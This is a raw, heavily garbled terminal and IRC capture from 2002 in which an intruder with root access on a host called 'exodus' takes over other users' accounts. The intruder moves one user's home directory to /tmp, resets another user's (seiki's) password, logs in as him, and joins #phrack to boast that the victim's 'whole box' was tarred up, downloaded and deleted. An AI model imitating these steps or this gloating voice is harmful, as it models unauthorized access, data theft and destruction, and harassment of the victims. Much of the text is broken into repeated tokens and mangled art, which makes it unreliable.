[] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /server irc.rt.ru[0] [0] ùíù Connecting to port 6667 of server irc.rt.ru [refnum 20] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0]  [Lag ??] [::::][0] [rt] *** Looking up your hostname... [rt] *** Checking Ident [rt] *** Got Ident response [rt] *** Found your hostname [rt] *** Banned: Do not irc as root (2002/03/08 19.15) ùíù Closing Link: netmunky_[root@255.255.255.255] (Banned) ùíù Connection closed from irc.rt.ru: Undefined error: 0  [::::][0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] ùíù Connecting to port 6667 of server irc.solidstreaming.net [refnum 21] ùíù Unable to connect to port 6667 of server irc.solidstreaming.net: unknown  host [0] ùíù Connecting to port 6667 of server irc.solidstreaming.net [refnum 21] ùíù Unable to connect to port 6667 of server irc.solidstreaming.net: unknown  host [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] ùíù Connecting to port 6667 of server irc.stanford.edu [refnum 22] ùíù Unable to connect to port 6667 of server irc.stanford.edu: unknown host [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] /[0] /ùíù Connecting to port 6667 of server irc.stanford.edu [refnum 22] ùíù Unable to connect to port 6667 of server irc.stanford.edu: unknown host [0] / ùíù Connecting to port 6667 of server irc.umich.edu [refnum 23] [0] /[0] / [03:46pm][][Mail: 2] [] [0] / [03:47pm][][Mail: 2] [] [0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] / ùíù Connection closed from irc.umich.edu: Undefined error: 0 [0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] / ùíù Connecting to port 6667 of server irc.umich.edu [refnum 23] [0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] /[0] / /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0] /C[0]  ùíù BitchX: Unknown command:  [0] [0] [0] /quit[0]  ùíù Signon time : Wed Jul 17 15:44:46 2002  ùíù Signoff time : Wed Jul 17 15:47:32 2002  ùíù Total uptime : 0d 0h 2m 46s  ùíù SignOff:  netmunky@exodus [BX] Tony the Tiger   uses BitchX. Its Grrrrrrrrreat!) [1]+ Done mv /home/netmunky /tmp/fuck sh$ /quit bash: /quit: No such file or directory sh$ sh$ sh$ /quit bash: /quit: No such file or directory sh$ sh$ sh$ sh$ sh$ sh$ sh$ sh$ sh$ /quit bash: /quit: No such file or directory sh$ /quit bash: /quit: No such file or directory sh$ /quit bash: /quit: No such file or directory sh$ sh$ sh$ sh$ sh$ sh$ sh$ /quit bash: /quit: No such file or directory sh$ sh$ sh$ sh$ sh$ sh$ sh$ sh$ sh$ sh$ sh$ sh$ w 4:12PM up 29 days, 22:05, 2 users, load averages: 0.25, 0.23, 0.27 USER TTY FROM LOGIN@ IDLE WHAT netmunky p2 24.213.56.132.up 3:57PM 0 -tcsh netmunky p4 24.213.56.132.up 3:42PM 0 screen -r sh$ ls -al /home total 13 drwxr-xr-x 13 root wheel 512 Jul 17 15:45 . drwxr-xr-x 14 root wheel 512 Jun 18 17:36 .. drwxr-xr-x 4 alvion users 512 Jun 17 09:07 alvion drwxr-xr-x 2 ara users 512 Jun 16 20:27 ara drwx--x--x 4 cotwweb www 512 Jun 17 09:21 cotwweb drwxr-x--- 12 root wheel 1024 Jul 1 17:56 glftpd drwxr-xr-x 3 irc irc 512 Jun 18 06:05 irc drwxr-xr-x 5 jenna users 512 Jun 17 09:22 jenna drwxr-xr-x 2 keith users 512 Jun 17 17:00 keith drwxr-xr-x 2 matrix users 512 Jun 17 08:52 matrix drwxr-xr-x 2 orange1 users 512 Jun 27 17:02 orange1 drwxr-xr-x 2 paul users 512 Jun 17 17:00 paul drwxr-xr-x 2 vixen users 512 Jun 17 08:52 vixen sh$ su vixen exodus:tmp {1} exit exit sh$ passwd seiki Changing local password for seiki. New password: Please don't use an all-lower case password. Unusual capitalization, control characters or digits are suggested. New password: Please enter a longer password. New password: Please don't use an all-lower case password. Unusual capitalization, control characters or digits are suggested. New password: Retype new password: sh$ sh$ sh$ sh$ su seiki > /usr/local/bin/BitchX s3iki irc.rt.ru BitchX - Based on EPIC Software Labs epic ircII (1998). Version (BitchX-1.0c19) -- Date (20020325). Process [20696] Using terminal type [vt100]                                           [0] [0] (U  þ²° ²° ÜÜÜ  ÜÛÛ ÜÜÜÜÜÜÜ Û°ÛÛÛÛÛÛ°°°ÜÜ °°²²ÛÛÜÜ   Ü°°ܲ°ÛÛ°ßÛÛÛßÛÛÛ ßÞ ÜÜÛÛÛÛÛÛ°°°°ÛÛÛÛ°°°²²²²ÛÝݱ° °²ÛÛÛÝ  ßß ßÝßÛÛÛßÛÛÛÛ°°ÛÛÛÜ°Û ßßÛ°°²²² °°°²²²²ÛÛßßܲ°°° °²²²ÛÝ [_v9(Vade79)ùFiRE]  ß ßß ÝÜÛÛ°°²²ÛÛÞ°   °  ßßÞÛ²²²ÛÛßßß °°ÛÛ²°±°°°°±ß  ßßß ßßßßßßßßßßßß ß  Üܲ߱ ÜÛÜÜ ÜÛ²²ÛÛÛÝÞ   Þ °²±ß²° Þß°ßÛÛÜÜÜ ÞÛ²°°Û°°²²Üß ßß ßßÛßÛÛßÛÛßÛßß °²Ü  Ü°ÜÝß ß±Ûß ßÜ°ÛÜÜÜ ÞÝ Þ   ßßßßß ÞßÛß Û²ÜÛÛ ßß²²°ßßßßßßßßßßßßßßßßßßßßßßÛÜ°²  Û²Û  Ü ÜÜÜ ßßßß Þ    ÜÜÜÜÜÜÜ   ßßß  Þß  ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜ  Û°°  ÛßÛ °Û²ÛÛ°ßßßÛÛÛ°°Ü °²ßßß²²°ßßßßßßßß ßß ² Ü ßßßßßßßßÛÛÛßßßÛ°°ßßßÛÛÛß²° Û²Û  ÛÜÛ °²°Û°Û°Ü ÛÛ°ÛÛ°ÞÛ°ÜÜÜ°°Û ° Û Û ² ÛÛÛ ²°Û°Ü ÛÛÛÜÜÜ°ÛÛ Ü °ÛÛ Ü ÛÛ  °° ÛÛÛ  Û°Û °°Û±²°°² °°²°°²Û °ßßßÛÛ°ÜÜÜÛ°  ± °°ÛÜÜÜ°ÛÛ°² Û°°ßßß²°° ² ²°°°² ÛÛ°°Û ÛÜÛ  Û°Û °Û°²Û² ² ²²Û²²Û°°² Ü °°²°Û°°²Ý ² ²²±°° ²°° ° °²² ² Û²² ° Û²²°° Û°²²°° ÛßÛ  ÛÜÛ °Û²ÛÛÛ ° ÜÜÜ Ü ²²Û ² ²²Û²²²²ÛÝ ° ÛÛ²²²Þß²²°² ²Û² ² ²Ûß ² ÜÜÜ°² Þ²ÛÛ° ÛßÛ  Û Û ÛÛÛ²² Û °ÛÜ ² ²Û² ° ßßßß ßß ²ßßßßß ° Ûßß ßß  ßÛ² ° Þß²²° ÛÜÛ  ÛßÛ °ÛÛÛ°° ° ²Û² ° Ûßß  ÜÜÜÜÜÜÜÛÛÛÛÝ ÜÜÜÛÛÛßßß  ÜÜÜÜ°ÛÛÜÜÛÛ°²ÝÜÜÜÜ ßßßß  Û Û  ÛßÛ °°²ÝÜÜ ° ßßß   Ý Ü²²²Û²²ÛÛßÜß  ÜÜÜÜ°ÜÜÛ°°ÛÛÛÛßÛÛÛÛ°°°°°°ÛÛÛÛÛÛßÛ°² ° ² Û  ÛßÛ ²°ßßÛÜÜÜܲ° ²Ý ²°°°°Üß ÜÛ²²²ßÜÜÜÜÜÛÛÛ ²²°°Ûß°°°°²²²²²²² °°ÛÛÛÛßß° ° ± Û  Û°Û°  ßßßßßßßßßßßß Þ±²²°Þ °°²²ßß°±°° ÜÜÛÜÞÛÛ²²ÝÞ²²²²ÛÛÛÛÝßßÞ²²ß ÜÜ° ° ° ²  ۲߲ÜÜÜÜÜÜÜÜÜÜÜÜÜ  Û²°²±Ý Þ°²°°° °°°²Ýß°²Ûܲ²ßß Ü°ßß Þܲ²ÜÜÞÛß²° ß ÜÜ °  ßß°ÜÜÜÛÜÛܲÛÜÜÛÜÜÜ ÞÛ ²Û Û²±²°°²ÜÜ þ  ßßß  Ü° Ü ÜÜÝßÜÛßßÞ ÜÜÜÜÛÜܲ°   Ü ÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜ Ü ßÞÛ°°ÛÜ Û°²²²ÛÛÛÛÜ ßßÛÜÜ°ßÝ ßÛÛÛßÝ  ÜÜ Þ ÜÜ   ÞßßÛÛÛÛÛÜ°ÜÛÞ°²²²Ý   Üßß۲ܰ   ÞßÛßß Ûß   ..B i t c h X.. °  ßßßßßß ²²°°  Ü  ßß Ü²°  ß°  [04:14pm][] []  [::::][0]  ùíù BitchX: Created directory /home/seiki/.BitchX [0]  ùíù BitchX: Auto Response is set to - s3iki [0] [0]  ùíù Connecting to port 6667 of server irc.rt.ru [refnum 0] [0] [0]  [Lag ??] [::::][0]  [rt] *** Looking up your hostname...  [rt] *** Checking Ident  [rt] *** Found your hostname  [rt] *** Got Ident response  ùíù BitchX: For more information about BitchX type /about  [04:14pm][s3iki] [] [0] [0]  ùíù Welcome to the Internet Relay Network s3iki   ùíù Your host is irc.rt.ru[irc.rt.ru/6667], running version 2.8/hybrid-6.3.1   [rt] *** Your host is irc.rt.ru[irc.rt.ru/6667], running version   2.8/hybrid-6.3.1  ùíù This server was created Thu May 30 2002 at 20:49:10 MSD  [0]  ùíù irc.rt.ru 2.8/hybrid-6.3.1 oOiwszcrkfydnxb biklmnopstve   ùíù WALLCHOPS PREFIX=(ov)@+ CHANTYPES=#& MAXCHANNELS=40 MAXBANS=25 NICKLEN=9   TOPICLEN=120 KICKLEN=90 NETWORK=EFnet CHANMODES=be,k,l,imnpst   EXCEPTS KNOCK MODES=4 are supported by this server  ùíù [local users on irc(7846)] 9%  ùíù [global users on irc(8231)] 10%  ùíù [invisible users on irc(75401)] 90%  ùíù [ircops on irc(252)] 0%  ùíù [total users on irc(83632)]  ùíù [unknown connections(0)]  ùíù [total servers on irc(44)] (avg. 1900 users per server)  ùíù [total channels created(33762)] (avg. 2 users per channel)  ùíù Current local users: 7846 Max: 8713   ùíù Current global users: 83632 Max: 89656   ùíù [Highest client connection count(8714) (8713)]  ùíù Mode change [+i] for user s3iki  [04:14pm][s3iki(+i)] [] [0]  ùíù Mode change [+w] for user s3iki  [04:14pm][s3iki(+iw)] [] [0] /j phrack[0] [0]  [04:14pm][s3iki(+iw)] [#phrack]  [Lag ??] [O/0 N/0 I/0 V/0 F/0] [U:a:S:b:h][#phrack]  ùíù s3iki [seiki@209-102-214-20.ipv4.intur.net] has joined #phrack [#phrack] [#phrack]  ùíù Topic (#phrack): cocks for all  ùíù Topic (#phrack): set by mat_ at Wed Jul 17 15:04:47 2002  ùíù [Users(#phrack:67)]   [ s3iki ] [ icas0r ] [@sl0ppy ] [ zb0 ] [ edison ]   [@arakiz ] [ mchv- ] [ ewsd3 ] [ pud ] [ shi ]   [ thecno ] [ hungry_ ] [ DarthMaul ] [ sd-_ ] [ hellman ]   [veecue ] [ guida ] [ redpixel ] [ tousdr ] [@mat_ ]   [ morgan_ ] [@thew00u0 ] [ nxtc ] [vomr ] [@shiftee ]   [ SpYr00t ] [ geekassau ] [ snar- ] [@_d_ ] [ vs ]   [ herbal1zr ] [@gayh1tler ] [ descript ] [ akdov ] [ etrigan_ ]   [ Drop_Zone ] [ vord ] [ shemy ] [ kdl ] [@fishstiqz ]   [ icebane ] [ datathief ] [@nwonknu ] [ blk-majik ] [ stanH ]   [ kaotik ] [ gorse ] [ snuggl ] [ pewp ] [ just ]   [ geek2 ] [ med^ ] [vfilth ] [ prawn ] [ FormateZ ]   [ pro ] [ Scrippie ] [ xa-ax ] [ zoynk ] [ ryann ]   [ offset ] [ j1mb34n ] [ ArsonaL ] [ b1ff ] [ VUGO ]   [vtwd ] [ sector_ ]   ùíù [Users(#phrack:41)]   [@drater ] [ lck ] [ ozone ] [ Hyhehena ] [@apk ]   [ tda ] [ dennis ] [ sgram ] [ leakyt1ts ] [ Sens ]   [@zilvio ] [ phidias ] [ ben` ] [vuthug ] [ muff-e ]   [ rpc ] [@halfdead ] [ BiBiMiX ] [ oghost ] [ Yourname ]   [ Professor ] [ SpLiT404 ] [ psych ] [ sub ] [ urf ]   [ wait3r ] [ kraken ] [ glaive ] [ datawar ] [ clayman` ]   [ dvt ] [@j0se ] [ Ripe ] [@krap_ ] [ evilpika ]   [vrd ] [ nocfed ] [ c0n ] [ mudwayne ] [ dr` ]   [vwhocares_ ]   [04:14pm][s3iki(+iw)] [#phrack(+npst)] [#phrack]  ùíù Channel #phrack was created at Tue Jan 8 21:13:34 2002  ùíù BitchX: Join to #phrack was synched in 1.038 secs!!  [Lag ??] [O/15 N/93 I/3 V/7 F/0] [U:a:S:b:h][#phrack]  <sl0ppy> y0y0 hi[#phrack]  <s3iki> hi guess who is owned[#phrack]  <s3iki> guess who is owned  [04:15pm][s3iki(+iw)] [#phrack(+npst)] [#phrack]  <blk-majik> me me! / <mat_> hehe invite sei [Lag  0] [O/15 N/93 I/3 V/7 F/0] [U:a:S:b:h][#phrack] /invite seiki <sl0ppy> upt [#phrack]  >>> Inviting seiki to #phrack [#phrack] this is elixor.net people[#phrack]  <s3iki> this is elixor.net people seiki has been rm'd[#phrack]  <s3iki> seiki has been rm'd  <mat_> cool [#phrack]  <thew00u0> haha  <shiftee> more opers  <_d_> heh  [04:16pm][s3iki(+iw)] [#phrack(+npst)] [#phrack] i have tar'd up his whole box[#phrack]  <s3iki> i have tar'd up his whole box and dl'd it[#phrack]  <s3iki> and dl'd it and rm'd <sl0ppy> wh0rd [#phrack] and rm'd it[#phrack]  <s3iki> and rm'd it  <arakiz> pahaha  <sl0ppy> who is s3iko? seiki[#phrack]  <s3iki> seiki do /whois seiki[#phrack]  <s3iki> do /whois seiki h <sl0ppy> sieki e is the one getting <_d_> seiki is a synngery.net dude  this channel purg[#phrack] he is the one getting this channel purg    fucked[#phrack]  <s3iki> he is the one getting this channel fucked  <sl0ppy> heh  <_d_> synnergy everyone invi <sl0ppy> seems like a lamer te seiki here[#phrack]  <s3iki> everyone invite seiki here [#phrack] everyone invite seiki here[#phrack]  <s3iki> everyone invite seiki here [#phrack] everyone invite seiki here[#phrack] everyone invite seiki here[#phrack]  <s3iki> everyone invite seiki here [#phrack] everyone invite seiki here[#phrack]  <s3iki> everyone invite seiki here [#phrack] everyone invite seiki here[#phrack]  <s3iki> everyone invite seiki here [#phrack] everyone invite seiki here[#phrack]  <s3iki> everyone invite seiki here [#phrack] everyone invite seiki here[#phrack]  <s3iki> everyone invite seiki here  [04:17pm][s3iki(+iw)] [#phrack(+npst)] [#phrack]  <thew00u0> haha  <mat_> seiki: No such nick/channel  <j0se> man  <j0se> thats uncool  ùíù riksta [riksta@206.105.215.68] has joined #phrack [#phrack]  [Lag  0] [O/15 N/94 I/3 V/7 F/0] [U:a:S:b:h][#phrack]  ùíù SignOff descript: #phrack ()  [Lag  0] [O/15 N/93 I/3 V/7 F/0] [U:a:S:b:h][#phrack]  <thew00u0> | seiki (seiki@got.root) (unknown) / <thew00u0> ³ ircname : wi seiki[#phrack]  seiki: No such nick/channel  <thew00u0> he was just on a second ago [#phrack] h <arakiz> seiki isnt synnergy e just quit irc[#phrack]  <s3iki> he just quit irc  <mat_> /wi seiki  ùíù riksta [riksta@206.105.215.68] has left #phrack []  [Lag  0] [O/15 N/92 I/3 V/7 F/0] [U:a:S:b:h][#phrack] [#phrack]  <mat_> hehehe  <mat_> why?  <mat_> :-o because he is owned  <blk-majik> lol and rm'd[#phrack]  <s3iki> because he is owned and rm'd thats why bitch[#phrack]  <s3iki> thats why bitch  ùíù mode/#phrack [+v s3iki] by mat_  [04:17pm][+s3iki(+iw)] [#phrack(+npst)]  [Lag  0] [O/15 N/92 I/3 V/8 F/0] [U:a:S:b:h][#phrack]  <mat_> thx :o